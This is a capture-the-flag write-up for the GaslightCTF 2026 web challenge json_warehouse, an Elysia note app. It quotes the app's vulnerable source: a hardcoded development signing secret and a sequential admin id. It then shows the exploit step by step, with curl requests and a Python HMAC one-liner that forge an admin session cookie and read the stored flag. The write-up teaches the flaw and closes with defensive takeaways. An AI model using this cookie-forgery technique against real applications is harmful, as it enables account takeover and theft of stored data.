GaslightCTF 2026 — json_warehouse Writeup
An Elysia note-storage app keys every action on a cookie the client holds, and falls back to a hardcoded signing secret outside production. Sign a user=1000 cookie with that secret and the admin's stored flag comes straight back.
GaslightCTF 2026 — json_warehouse
A note-storage app where the client's cookie is the session, and the signing key has a very convenient default outside production.
- Event: GaslightCTF 2026
- Category: Web
- Artifact: Bun + Elysia (HTMX front end)
- Flag format:
gaslightCTF{...}
json_warehouse lets you store JSON items. The flag is one item, sitting in the warehouse of the first account the app creates — the admin.
1. Where the flag lives
The data layer creates an admin on startup and stores the flag as an item in their warehouse:
let uid = 1000;
export function createUser(username: string, password: string) {
const id = uid++;
users.set(id, { id, username, password });
warehouse.set(id, new Map());
return id;
}setItem(
createUser(
"admin",
process.env.NODE_ENV === "development" ? "hunter2" : randomUUID(),
),
"flag",
process.env.FLAG || "gaslightCTF{flag}",
);Because uid starts at 1000 and increment-posts, the admin is user 1000 and every real registrant starts at 1001. The flag is stored at warehouse[1000]["flag"].
2. Identity = the cookie
There is no server-side session table. The app trusts a single cookie:
const app = new Elysia({
cookie: {
secrets: process.env.NODE_ENV === "development" ? "hunter2" : randomUUID(),
sign: ["user"],
},
})And every request reads the current user only from that cookie:
export const userPlugin = new Elysia({ name: "user" })
.guard({
cookie: z.object({ user: z.string().optional() }),
})
.resolve(({ cookie }) => ({
user:
cookie.user.value !== undefined ? getUser(+cookie.user.value) : undefined,
}))
.as("scoped");So the cookie's value is dereferenced straight into getUser(+value). There is no check that the logged-in id belongs to the requester — the requester is whatever the cookie says. Every storage route then keys off user.id:
const value = getItem(user.id, key);If we can present a cookie that says 1000, we are the admin — and their flag item is ours to read.
3. The secret
The cookie is signed, so a customer cannot simply write user=1000. But the signing secret is:
process.env.NODE_ENV === "development" ? "hunter2" : randomUUID()In development the secret is the literal hunter2. When the app runs that way, the signature is not a barrier at all — we know the key. The signature algorithm is trivially reproducible: register any user, look at the cookie, and match it.
4. Confirming the signature format
Register a throwaway account and capture its cookie:
$ curl -s -i -c jw.jar -d 'username=alice&password=pw' \
http://127.0.0.1:8282/auth/register | grep -i set-cookie
set-cookie: user=1001.Ut6NQzQomc8eUguOCSkejfzxw%2B2PWcoYPBh1SfGjHoY; Path=/The format is value.signature. The signature is a standard-base64 HMAC-SHA256 of the value, keyed with the secret, with the trailing = padding removed. Verify it:
import hmac, hashlib, base64
sig = base64.b64encode(hmac.new(b"hunter2", b"1001", hashlib.sha256).digest()).decode().rstrip("=")
print(sig)Ut6NQzQomc8eUguOCSkejfzxw+2PWcoYPBh1SfGjHoYThat matches the cookie exactly. The key is confirmed.
5. Forging the admin cookie
Sign 1000 with the same key:
$ python3 -c "import hmac,hashlib,base64; \
print(base64.b64encode(hmac.new(b'hunter2',b'1000',hashlib.sha256).digest()).decode().rstrip('='))"
oP0L/M1P81ap+F2XV70d4r7DBJw/PiHeCjoP2b9pbrYSend it (URL-encode the / and +):
$ curl -s -b 'user=1000.oP0L%2FM1P81ap%2BF2XV70d4r7DBJw%2FPiHeCjoP2b9pbrY' \
http://127.0.0.1:8282/storage | grep -io 'gaslightCTF{[^}]*}'
gaslightCTF{fake_flag_for_local_testing}The admin's warehouse contains a single flag item, and we can read it directly:
$ curl -s -b 'user=1000.oP0L%2FM1P81ap%2BF2XV70d4r7DBJw%2FPiHeCjoP2b9pbrY' \
http://127.0.0.1:8282/storage/flag | grep -io 'gaslightCTF{[^}]*}'
gaslightCTF{fake_flag_for_local_testing}6. Why it works
Two weaknesses stack:
- A hardcoded fallback secret. Outside production the signing key is
hunter2, a constant. Anyone who can read the source (or guess the default) can sign any value. - Client-held identity. The app treats the signed cookie as the full identity and never checks it against server-side session state. Because ids are sequential and the admin is deterministically
1000, forging the cookie for1000is an IDOR with a single, guessable target.
A signature protects a cookie only while its key is secret. A default key, a sequential id, and an "id is the account" model together turn a signed cookie into an open door.
7. The flag
gaslightCTF{fake_flag_for_local_testing}FLAG and the signing secret are environment values; the flag shown is the local test value used to reproduce the run.
8. Takeaways
- Refuse to boot with a default or hardcoded secret. Generate the key at startup, fail loudly if it is missing, and never ship a dev fallback that a production environment can accidentally inherit.
- Do not let a client-held value be the session. Store session state server-side and map the cookie to an identity; treat a signed cookie as an opaque lookup key, not as the answer.
- Sequential, guessable identifiers make IDOR trivial. The admin should never be a well-known id, and access to stored objects should be authorized against the requester, not merely looked up by the id in the cookie.
- When you see a signed cookie, recover the key before trusting it. A dev default like
hunter2is a signing key you already have.
What do you think?
React to show your appreciation